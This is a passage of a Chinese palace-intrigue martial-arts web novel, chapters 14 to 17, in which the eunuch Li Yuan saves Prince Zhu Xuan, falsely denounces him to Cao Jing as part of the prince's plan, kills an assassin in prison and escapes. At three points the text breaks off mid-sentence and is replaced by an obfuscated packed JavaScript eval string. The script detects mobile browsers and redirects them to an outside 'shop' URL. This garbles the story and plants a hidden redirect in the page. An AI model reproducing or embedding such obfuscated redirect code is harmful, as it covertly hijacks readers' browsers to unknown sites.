他毫不迟疑，钻入暗渠。渠内恶臭扑鼻，积水及膝。他屏住呼吸，逆流而上，直向火场中心潜去。 暗渠之上，便是甬道。此刻火势最旺之处，热浪透过石板缝隙传来，灼人生疼。 李原于渠中摸索前行，忽闻头顶传来“轰”的一声巨响，似是铁闸被撞开！紧接着，杂沓脚步声、兵刃交击声、垂死哀嚎声，不绝于耳。 他知双方已在甬道出口处短兵相接，战况惨烈。 又行数步，忽觉脚下一空，似是到了一处稍阔之地。头顶石板上，传来一个熟悉的声音，气喘吁吁，带着惊怒：“殿下！贼子凶猛，火势难控！请速移驾！” 是吴公公！ 紧接着，朱瑄的声音响起，依旧冷静，却难掩疲惫：“孤若退，军心必溃。今日……一死而已。” “殿下！” 李原闻声，再不犹豫，运足内力，双掌向上猛击！ “砰！”一声闷响，头顶石板竟被他震开一道裂缝！火光与烟尘顿时涌入！ “护驾！”吴公公的惊呼声响起。 李原自裂缝中一跃而出，滚倒在地，顾不得浑身污秽，嘶声喊道：“殿下！暗渠可通苑外！请随奴婢来！” 此时的他，满脸烟灰，衣衫褴褛，形同乞丐。然那双眸子，在火光映照下，却亮得惊人。 朱瑄看着他，眼中闪过一丝讶异，旋即化为决断：“好！吴伴伴，你率人断后！李原，前头带路！” “不可！殿下！此子来历不明……”那灰衣人急道。 “孤意已决！”朱瑄斩钉截铁，已快步来至暗渠入口。 李原不及多言，率先钻入。朱瑄略一迟疑，亦俯身跟上。吴公公与灰衣人对视一眼，一咬牙，率剩余侍卫死死挡住追兵。 暗渠之内，漆黑恶臭。朱瑄紧随李原之后，默然前行。偶有火舌窜入，映亮他苍白而坚毅的侧脸。 行约百余步，前方出现微光，已是苑外出口。 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却见这位年轻皇子嘴角噙着一丝冰冷笑意，在漫天火光的映衬下，竟有几分妖异。 “他既欲置孤于死地，孤便……先送他一份大礼！” 朱瑄此言，声音不高，却字字如冰锥，刺入李原耳膜。 他猛地抬头，撞见那双在火光映照下幽深难测的眸子，心头寒意骤生。这位年轻皇子，心思之诡谲，手段之狠绝，实非常人所能揣度。 此计看似自陷绝境，实则乃置之死地而后生之险招！ 曹敬勾结白莲教行刺皇子，罪证虽未完全坐实，然今夜动静如此之大，西苑火起，厮杀震天，岂能轻易遮掩？ 若此时反告七皇子勾结妖人，一则先声夺人，搅乱视听；二则逼曹敬自乱阵脚，或可诱其露出更多破绽；三则……或也是朱瑄对自己这知晓其部分底细之“新人”的最后一重考验？ 李原心念电转，不过刹那之间，面上已堆砌起十足的惊骇与惶恐，扑通跪倒，以头抢地，声音颤抖得几乎不成语句：“殿……殿下！奴婢……奴婢万万不敢！此乃大逆不道之言，奴婢纵有十个脑袋，也不敢攀诬殿下啊！” 朱瑄俯视着他，苍白的脸上无甚表情，只淡淡道：“孤让你去，你便去。莫非……你要抗旨？”最后三字，语气微沉，已带上一丝不容置疑的威压。 李原伏在冰冷的雪地上，心知此乃必行之事，再无法推脱。 他重重叩首，额角触及冻土，发出沉闷声响：“奴婢……奴婢遵旨！只是……奴婢人微言轻，空口白牙，司礼监诸位公公，岂会信我？” 朱瑄似是早已料到他有此问，自袖中取出一物，掷于李原面前雪地之中。那物事乃是一块巴掌大小的黑色铁牌，造型古朴，上刻烈焰莲花纹样，中央一个扭曲的“玄”字，在雪光映衬下，泛着幽冷光泽。 “此乃从那妖女身上搜得之物，”朱瑄语气平静，“便是玄字叁号之信物。你持此物前往，便说是受其临终所托，揭发孤‘勾结白莲教，于西苑密会妖人，事败后纵火灭口’。至于细节如何编造，你自行斟酌，务求可信。” 15. 第 15 章 李原拾起那铁牌，入手只觉得冰冷沉重，知此物关系重大，又小心翼翼纳入怀中。 他迟疑片刻，又道：“只是……曹公公那边，若问起奴婢如何逃脱，又为何选在此时才来举报……” 朱瑄嘴角勾起一丝若有若无的弧度：“你便说，当时混乱，趁隙躲入暗处，亲眼目睹孤与妖人会面，心惊胆战，直至此刻方寻得机会逃出告发。至于信与不信……” 他顿了顿，目光扫过远处渐被扑灭的火光:“由他判断。孤要的，便是他这‘判断’之时，露出的马脚。” 李原恍然。此计成败，关键不在曹敬是否尽信，而在其听闻此事后的反应。 只要曹太监有所行动，无论是杀人灭口，还是急于掩饰，亦或者是其他举动，都等于间接承认了与白莲教的关联！七皇子这是要以身为饵，再行险棋！ “奴婢……明白了。”李原深吸一口寒气，压下心中翻腾的惊涛，“奴婢定不负殿下所托。” 朱瑄微微颔首，不再多言，在那灰衣人的护卫下，转身离去，身影很快消失在废弃庭院的阴影之中。 李原独立雪中，望着他们消失的方向，良久未动。 整个西苑的火光冲天，想是宫外都能瞧见，可宫内偏却无一人来探，这简直是不能深思。 他摸了摸怀中那枚冰冷铁牌，又想起朱瑄最后那深不见底的眼神，一股强烈的危机感迫使他迅速冷静下来。 “冷心冷血，谋定后动。”他于心中再次默念这八字箴言。 此刻，他需得细细谋划一会如何“告发”，方能既完成朱瑄之命，又尽可能保全自身。 他并未立刻返回净房，而是寻了处背风隐蔽的角落，盘膝坐下，默运《龟息功》。内息流转，驱散了些许寒意，亦让他纷乱的心绪渐渐平复。 脑海中，李原将今夜所见所闻，尤其是那妖女言行、双方搏杀细节、乃至朱瑄交代之语，反复推演，务求编造出一套能唬住人的说辞。 半个时辰后，李原方悄然起身，整理好衣袍，抹去脸上污迹，做出一副惊魂未定、仓皇逃窜的模样。他低着头，缩着肩，向着司礼监所在方向行去。 司礼监位于紫禁城东北隅，重檐斗拱，气象森严。今日虽说司礼监无人去西苑探查，但气氛格外凝重。守卫番子数量倍增，个个按刀肃立，眼神警惕地扫视着每一个靠近之人。 李原行至大门前，尚未开口，便被两名番子拦住去路。 “站住！何人？何事？”番子厉声喝问，手已按在刀柄之上。 李原扑通跪倒，浑身筛糠般抖动，涕泪交加，声音嘶哑惶恐：“奴婢……奴婢净房小火者李原！有……有惊天大事要禀报曹公公！关乎……关乎刚刚西苑大火，关乎……白莲妖人！” 他故意将“白莲妖人”四字喊得极高，引得周围番子纷纷侧目。 那两名番子闻言，脸色亦是一变，对视一眼。其中一人沉声道：“在此等候！”转身快步入内通传。 不多时，那番子返回，脸色古怪，对李原道：“曹公公有令，传你进去回话。” 李原心中凛然，知关键时刻已至。他连滚带爬地起身，跟着那番子，低头哈腰，踏入司礼监那幽深的门槛。 院内廊庑连绵，寂静无声，唯有靴子踏在青石板上的回响，更添几分压抑。行至一处偏厅，番子示意他止步，自行入内禀报。 片刻，厅内传来曹敬那尖细阴冷的声音：“让他进来。” 李原深吸一口气，整了整心神，脸上重新堆满惊惧与谄媚，躬身趋步入内。 厅内光线昏暗，只点了一盏牛角灯。 曹敬端坐于上首太师椅上，身着赤色蟒袍，面沉似水，手中缓缓捻动着一串紫檀佛珠。 其左右侍立着数名心腹太监，包括日前曾拦截李原的刘掌班，皆眼神锐利，如鹰隼般盯在李原身上。 “奴婢李原，叩见曹公公！”李原扑跪在地，声音颤抖。 曹敬眼皮微抬，目光如冰，冷得瘆人，但却慢悠悠道：“哦？是你。咱家听闻，你有‘惊天大事’要报？说说看，是何等大事，值得你大半夜，便来惊扰咱家？” 李原伏在地上，以头触地，带着哭腔道：“回……回公公！奴婢……奴婢刚刚奉命……奉命往西苑搬运器物，不料……不料竟撞见……撞见七皇子殿下他……他私会白莲妖人！” 此言一出，厅内空气骤然凝固！ 曹敬捻动佛珠的手指微微一顿，左右太监皆面露惊疑之色。 刘掌班更是踏前一步，厉声喝道：“大胆！竟敢污蔑皇子！可知这是诛九族的大罪！” 李原似被吓破了胆，连连叩首，额上瞬间见血：“奴婢不敢妄言！奴婢亲眼所见！那妖人是个女子，手持莲花铁令，与七殿下在后园密谈！后来……后来不知怎的，双方忽然动手，火器爆炸，引发大火！奴婢……奴婢吓得魂飞魄散，趁乱躲入一处假山石后，这才……这才侥幸捡回一条贱命啊！” 他将昨夜所见，掐头去尾，真假掺半，着重描绘朱瑄与妖女“密谈”之景，并将动手缘由模糊处理。 曹敬沉默片刻，忽道：“你既亲眼所见，为何当时不喊人捉拿？又为何等到此刻才来禀报？” 李原早料到此问，忙道：“公公明鉴！当时场面混乱，贼人凶悍，火器犀利，奴婢……奴婢胆小，生怕一出声便没了性命！后来火起，奴婢躲藏之处亦被波及，好不容易等到火势稍减，巡逻侍卫注意力被引开，才……才敢逃出来！一路心惊胆战，直至天明，方敢来叩见公公！” 他言语间，将贪生怕死、犹豫不决的小人物心态，刻画得淋漓尽致。 曹敬盯着他，目光闪烁不定，似在判断其言真伪。他缓缓道：“空口无凭。你既说是亲眼所见，可有证据？” 李原 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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正当曹敬心念急转、权衡利弊之际，李原伏在地上，亦是手心冒汗。他知此刻已到生死关头，曹敬一念之间，便可决定他的生死。 忽然，曹敬发出一阵低沉的笑声，笑声中带着一丝令人不寒而栗的阴冷：“呵呵……好，很好。李原，你忠心可嘉，冒险告发，实乃大功一件。” 他话锋一转，语气骤厉：“然则，皇子之事，关系国本，岂容你一小小火者空口白牙，妄加攀诬？此铁牌，或许是贼人故意遗落，栽赃陷害，亦未可知！” 李原心头一紧，知曹敬这是要抵赖！他忙叩首道：“公公！奴婢亲眼所见，千真万确！那妖女与七殿下交谈甚密，绝非栽赃！殿下他还……还许诺妖人，事成之后，许以高官厚禄……” “住口！”曹敬猛地一拍座椅扶手，霍然起身，身上蟒袍无风自动，一股阴寒凌厉的气势瞬间笼罩全场！ “皇家之事，也是你能妄加揣测的？！来人！” “在！”左右太监齐声应诺。 曹敬目光如毒蛇般锁定李原，一字一顿道：“将此妄言惑众、污蔑皇子的奴才，给咱家拿下！押入暗牢，严加看管！待咱家禀明皇上，再行发落！” 李原心中骇然，未料曹敬竟如此果断，直接便要拿人！他若被投入暗牢，生死便完全操于曹敬之手，朱瑄之计亦将前功尽弃！ 两名番子如狼似虎般扑上，便要扭住李原双臂。 16. 第 16 章 间不容发之际，李原脑中灵光一闪，竟不挣扎，反而放声大哭，状若疯癫，手脚胡乱挥舞，口中嘶喊着。 “公公！奴婢冤枉！奴婢所言句句属实！您不能……不能因为涉及七殿下，就……就杀人灭口啊！那铁牌……那铁牌定是曹公公您也认得的！您怕了！您怕牵扯出……” 李原这话语，已是赤裸裸的指桑骂槐，将矛头直指曹敬！而且他声音极大，几乎传遍偏厅内外！ 曹敬脸色瞬间铁青，怒喝道：“堵上他的嘴！” 一名番子伸手便来捂李原的嘴。李原看似惊慌失措，头猛地一偏，恰好避开那手，同时脚下“无意”一勾，正绊在那番子脚踝！ 那番子猝不及防，惊呼一声，向前扑倒！ 另一番子见状，怒骂一句，挥拳便向李原面门砸来！拳风呼啸，显是动了真怒。 李原心知此刻绝不能显露武功，但也不能任由其擒拿。 他暗运《龟息功》中导引卸力之法，身形看似笨拙地向后一仰，险之又险地避开拳锋，同时右手似慌乱挥舞，食指中指并拢，不着痕迹地在对方肘部曲池穴处轻轻一拂！ 这一拂，时机、角度、力道，拿捏得妙到毫巅。既似巧合，又蕴藏着对穴道的精准认知。 那番子只觉手臂一麻，整条胳膊瞬间酸软无力，那凌厉一拳顿时失了准头，擦着李原耳边掠过！ “废物！”曹敬在上首看得分明，眼中寒光一闪。 他虽未看出李原身负武功，却觉此子滑溜异常，两次皆以意外化解擒拿，心中疑窦更甚。他不再犹豫，身形一晃，竟亲自出手！ 只见曹敬如鬼魅般自座位上掠下，五指成爪，带起一股阴寒刺骨的劲风，直抓李原肩胛！这一抓，快如闪电，狠辣无比，若被抓实，肩骨立碎！ 李原只觉一股无形气机已将自身锁定，周围空气仿佛都凝固了！ 真正的高手之威，竟如此恐怖！ 他浑身汗毛倒竖，生死关头，《龟息功》自发急速运转，内息奔流，竟于刹那间冲开某些往日滞涩的关窍！他脚下步伐看似踉跄，实则暗合某种玄奥步法，向侧后方急退！ 然而曹敬武功高出他太多，那爪影如附骨之疽，紧随而至！眼看便要抓中！ 李原避无可避，把心一横，竟不再后退，反而迎着一丝爪风最弱之处，将肩头微微一耸，同时体内那缕微薄内息尽数凝聚于肩井穴附近！ “嗤啦！”衣帛撕裂之声响起！ 曹敬一爪抓实，却觉入手处滑不溜手，仿佛抓在一块浸油的牛皮上，力道竟被卸去大半！更有一股极细微却韧性十足的阴柔内劲反震而来，虽未能伤他，却让他指尖微微一麻！ 曹敬轻“咦”一声，眼中闪过一丝难以置信的惊诧！这小子……果然有古怪！这卸力之法，这反震的内劲……绝非寻常太监所能有！ 他正欲加催内力，彻底废了此子，忽闻厅外传来一阵急促脚步声，一名小太监慌慌张张闯入，跪地禀报。 “启……启禀公公！宫外传来消息，五城兵马司、巡城御史，乃至……乃至几位阁老，皆因西苑大火之事，递牌子求见皇上！皇上……皇上已起驾往奉先殿去了，召……召您即刻前去回话！” 曹敬动作猛地一滞！皇上已被惊动！而且召见如此之急，连几位阁老都来了！此刻若再于此地纠缠，只怕误了大事！ 他狠狠瞪了李原一眼，眼中杀机毕露，却又不得不暂时按下。曹敬收回手，冷哼一声：“将此獠押入暗牢，严加看守！没有咱家的命令，任何人不得接近！” “是！”那两名番子惊魂未定，忙上前死死扭住李原双臂，此次再不敢大意。 李原心中暗松一口气，知暂时躲过一劫。 方才与曹敬那瞬间接触，虽未正面交锋，却已让他真切感受到超品高手的可怕。自己那点微末道行，在对方面前，简直不堪一击。若非皇上突然召见，今日恐怕凶多吉少。 他不再反抗，任由番子将他押出偏厅，向着司礼监深处那阴森恐怖的暗牢走去。 暗牢位于司礼监地下，终年不见天日，阴冷潮湿。空气中弥漫着霉腐与血腥混合的怪味。 牢房以巨石砌成，铁栏粗如儿臂，仅有高处一狭小气窗透入些许微光。 李原被粗暴地推入一间牢房，“哐当”一声，铁门落锁。那两名番子恶狠狠地瞪了他一眼，啐了一口，方才离去。 牢内陷入一片死寂。 李原靠墙坐下，缓缓吐出一口浊气。他仔细感应，确认牢房内外并无其他犯人，亦无隐蔽监视之人，方稍稍放松。 他检视肩头，衣衫已被抓破，肩井穴处留下五道深紫色指痕，火辣辣地疼痛。所幸曹敬当时未尽全力，加之《龟息功》卸去大半力道，并未伤及筋骨。 “好险……”李原暗忖。经此一遭，他对自己与真正高手之间的差距，有了更清醒的认识。武道之途，漫漫其修远兮。 然则，眼下并非感慨之时。他身陷囹圄，外界情况不明。七皇子之计是否奏效？曹敬面圣又会如何应对？自己接下来，又当如何自处？ 他盘膝坐好，默运《龟息功》，一方面疗治肩伤，另一方面，亦需保持最佳状态，以应对未知变数。 内力在体内缓缓流转，那缕气感经过方才生死关头的激发，似乎又凝实精纯了几分。 果然，实战与压力，才是提升实力最快之法。 不知过了多久，或许是一个时辰，或许是两个时辰，牢门外传来脚步声与开锁之声。 铁门“吱呀”一声被推开，进来的却非方才那两名番子，而是一个面生的中年太监，提着食盒，神色冷漠。 “吃饭。”那太监将食盒往地上一放，便要转身离开。 “这位公公请留步！”李原忙起身，脸上堆起谄媚讨好的笑容，凑近铁栏，自怀中摸出最后一块藏着的碎银，塞了过去。 “公公辛苦，这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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黑影悄步至李原面前，见李原昏睡，眼中闪过一丝得意。他自怀中掏出一支三寸余长、蓝汪汪的细针，便要向李原咽喉刺下！ 间不容发，李原骤然睁眼！双指如电，疾点对方手腕内关穴！同时身形一滚，避开那致命一针！ 那刺客没料到他竟未中迷香，更有点穴功夫，手腕一麻，细针险些脱手！他反应亦是极快，左手化掌，直劈李原面门！ 李原不闪不避，运起《龟息功》内息，硬接一掌！ “砰！”双掌交击，李原只觉一股阴寒内力透体而入，气血翻涌！他借势向后飘退，卸去力道，喉头一甜，却强自压下。 那刺客亦被震退两步，眼中露出惊骇之色。他奉命来灭杀一小太监，本以为手到擒来，不想对方竟身负不俗内力！ “你不是普通太监！”刺客低喝，再次猱身而上，双掌翻飞，招招狠辣，直取要害。 17. 第 17 章 李原心知不能久战，否则引来守卫，身份必露。 他施展那日从黑衣人处观摩、并结合《呼吸导引杂论》自行揣摩的诡异身法，在方寸之地腾挪闪避，同时寻隙反击。 他内力虽不及对方精纯，然《龟息功》气息绵长，善于敛息匿形，于这暗夜狭室之中，竟与那刺客斗得旗鼓相当。 数招过后，李原窥得一个破绽，拼着硬受对方一掌，一指如风，点中其肋下章门穴！ 那刺客闷哼一声，动作一滞。李原得势不饶人，另一手并指如刀，直切其咽喉！ 刺客眼中闪过绝望，勉力偏头避过要害，肩头却被狠狠切中，骨裂之声清晰可闻！ 他惨哼一声，心知不敌，虚晃一招，想要逃跑。 李原快如鬼影，已是一把钳住他的脖颈，在刺客惊惧的目光中一拧。 “咔嚓”一生，刺客眼光涣散，软绵绵地歪了下来。 李原赶紧扶住尸体，抬到墙角，用稻草盖上，“窸窸窣窣”声响了好一会。 门外守卫似被惊动，叩门问道：“何事声响？” 李原含糊应道：“无……无事，方才梦魇了……” 守卫并未生疑。 李原才缓缓吐出一口浊气，后背已被冷汗浸湿。虽说成功反杀刺客，但焉知对方有没有后手？这司礼监暗牢，竟让刺客随意进来，要说与几位大太监无关，他死也不信！ 他必须尽快离开！ 李原不再犹豫，悄然挪至墙角那堆稻草处，伸手探入潮湿的泥土之中。 凭借昔日处理尸体、探查隐秘练就的敏锐触觉，他细细摸索着。方才他便隐约觉得，此墙角地势略低，泥土松动，或许…… 李原指尖忽然触到一物，冰冷、坚硬、细长……是一根半截埋于土中的生锈铁钎！想必是昔日囚犯遗留，被后来者以稻草掩盖。 李原心中一动，如获至宝。他将铁钎小心抽出，藏于袖中。有此物在手，或可一试。 他回到原地，继续打坐，耐心等待时机。 直至天色将明未明，乃人最为困倦之时。牢房外甬道中，巡牢番子的脚步声也变得迟缓稀疏。 李原悄然来至铁门边，侧耳倾听。确认短时间内无人靠近，他自袖中取出那根铁钎，运起内息，将其尖端抵在铁锁锁孔之处。 他并未学过开锁之术，然则《龟息功》赋予他对气息、力道的精微掌控，加之超乎常人的耐心与敏锐感知。 他闭目凝神，以内息为引，细细感知锁芯内部结构，手中铁钎极其缓慢、轻微地拨动、试探。 时间一点点流逝。 他额角渗出细密汗珠，内息消耗甚巨。然李原心无旁骛，全部心神皆系于那方寸锁孔之中。 约莫过了一炷香的功夫，只听锁芯内传来一声极轻微的“咔哒”声！ 成了！ 李原心中狂喜，却不敢有丝毫大意。他轻轻拉动铁钎，那沉重的铁锁，应声而开！ 他小心翼翼地将铁锁取下，推开一道门缝，向外窥探。却见甬道内灯火昏暗，空无一人，连守卫都不见了！ 快走！这是李原心中唯一的念头！ 他如同狸猫般悄无声息地溜出牢房，反手将铁门虚掩，并未锁死，以免打草惊蛇。随即，他依据来时记忆，向着出口方向潜行。 暗牢甬道曲折幽深，岔路繁多。李原全仗《龟息功》提升的感知与过人记忆力，方能辨明方向。他避开两拨巡牢番子，有惊无险来至出口附近。 出口处有一铁栅门，门外有两名番子值守。此时天光未亮，又值换岗前夕，那两名番子倚着门框，显得有些精神不济。 李原伏于暗处，观察片刻，心知强闯绝非良策。他目光扫视，见出口旁有一排水暗渠，渠口覆有铁栅，但缝隙较宽，或可容身。 他悄然潜至渠边，运力扳开锈蚀的铁栅，毫不犹豫地钻入渠中。渠内污水及腰，冰冷刺骨，恶臭扑鼻。 李原屏住呼吸，逆流而行，向着记忆中司礼监外墙的方向潜去。 不知在污水中跋涉了多久，前方出现微光，已是渠口。他奋力钻出，但见身处一条僻静宫巷，天色灰蒙，竟飘起了淅淅沥沥的雨加雪。 雨水冲刷着他身上的污秽，却难洗心中凝重。他虽逃出暗牢，然此刻身在何处？曹敬是否已发现他逃脱？宫中局势又当如何？ 他必须尽快找到朱瑄，或者至少是吴公公，禀报暗牢遇袭及凶手潜入之事！ 他辨认了一下方向，欲往西苑那边潜行。然而，刚拐过一处宫墙，迎面竟撞见一人！ 那人身着藏青色宦官常服，手持拂尘，正自另一条巷口转出，不是曹敬又是何人？！ 只见他面色阴沉，眼神中带着一丝难以掩饰的疲惫与戾气，显然刚自宫中议事归来，心情极差。其身侧，仅跟着那名刘掌班。 狭路相逢！ 曹敬显然也看到了李原，先是一怔，随即眼中爆发出难以置信的惊怒与滔天杀意！“是你？！小杂种！你竟敢越狱？！” 李原魂飞魄散！万万没想到，竟会在此地与曹敬迎面撞上！他此刻内力耗损，身疲力乏，如何是这老魔头的对手？！ 逃！必须立刻逃！ 他不假思索，转身便向相反方向发足狂奔！将《龟息功》提升至极致，速度竟也不慢！ “给咱家留下！”曹敬怒极反笑，身形一晃，如鬼魅般急追而来！速度之快，远超李原！ 两人之间的距离，迅速拉近！ 李原只觉背后一道凌厉无匹的掌风袭来，阴寒刺骨，笼罩周身大穴！若被击中，必死无疑！ 他咬紧牙关，于狂奔中猛地一个侧滑，身形诡异一扭，竟于间不容发之际，险险避过掌风主力！但那掌风边缘扫中他后背，仍令他气血翻腾，喉头一甜！ “咦？”曹敬再次发出惊疑之声。此子身法之滑溜，反应之迅捷，再次超出他的预料！ 这绝不是一个普通小火者所能拥有！ 曹敬杀心更炽，决意不再留手，定要将此子毙于掌下，以绝后患！他双掌齐出，掌影翻飞，带起漫天阴寒劲气， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347218|199531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将李原前后左右尽数封死！ 李原陷入绝境！前后无路，左右受制！曹敬超品境界的修为全力施为，那恐怖的威压，几乎令他窒息！ 眼看便要被掌影吞噬，李原眼中闪过一丝绝望，旋即化为疯狂的决绝！既然无路可逃，那便……拼死一搏！ 他猛地停下脚步，转身面对曹敬，体内那缕微薄内息以前所未有的速度疯狂运转，竟隐隐发出溪流奔涌之声！ 李原双手成掌，不顾一切地迎向曹敬那排山倒海般的攻势！竟是要硬接！ “螳臂当车，不自量力！”曹敬嗤笑，掌力又加三分！ 双掌即将相接！李原甚至能看清曹敬眼中那猫戏老鼠般的残忍与不屑！ 就在此时，异变再生！ “曹公公！手下留人！” 一声清朗的断喝，自不远处宫墙之上传来！声音不高，却带着一股不容置疑的威严！ 曹敬掌势微微一滞。 李原亦是一怔，这声音……是七皇子朱瑄？！ 只见宫墙之上，朱瑄不知何时现身，身着皇子常服，虽面色依旧苍白，然身姿挺拔，目光锐利。 其身旁，除了吴公公与那灰衣人，竟还站着数位身着绯袍、气度不凡的官员！其中一人，李原依稀认得，似乎是……都察院的左都御史！ “七皇子？！”曹敬脸色瞬间变得难看至极。他万万没想到，朱瑄会在此刻出现，还带着都察院的人！ 朱瑄立于墙头，雨水打湿了他的衣袍，他却浑不在意，目光冷冷扫过曹敬与狼狈不堪的李原，沉声说着。 “曹公公，好大的威风啊！光天化日，朗朗乾坤，竟在宫禁之内，公然追杀一名小小内侍？不知此子所犯何罪，竟劳动曹公公亲自出手，欲置其于死地？” 曹敬眼角抽搐，心知中了朱瑄之计！此子定是算准了自己面圣归来之路，在此等候！还带来了都察院的言官！若自己此刻杀了李原，便是杀人灭口，坐实了勾结白莲教、陷害皇子之嫌！ 他强行压下心中杀意，收回掌力，阴恻恻道：“七殿下此言差矣。此人是司礼监暗牢逃犯，咱家身为司礼监秉笔，擒拿逃犯，乃是份内职责。倒是殿下，您不在西苑静养，为何会与都察院的诸位大人，出现在此偏僻之地？” 朱瑄淡然一笑，笑容却未达眼底：“孤为何在此？自然是因昨夜西苑大火，惊动圣驾，父皇命孤协同都察院、大理寺，彻查此案！方才正与几位大人勘查现场，偶经此地，不想竟撞见曹公公……行此‘份内’之事。” “份内”二字，朱瑄说得有些重。 朱瑄目光转向李原:“此子，似乎正是昨日向曹公公告发孤勾结白莲教之人？怎的一夜之间，就成了逃犯？曹公公，莫非是……心虚了？” 此言一出，曹敬身后那几位绯袍官员，目光皆锐利起来，聚焦于曹敬身上。 曹敬只觉一股寒意自心底升起。朱瑄此言，句句诛心！他深知，经此一闹，又有都察院官员在场，自己再难轻易处置李原。甚至，自身已陷入极大被动！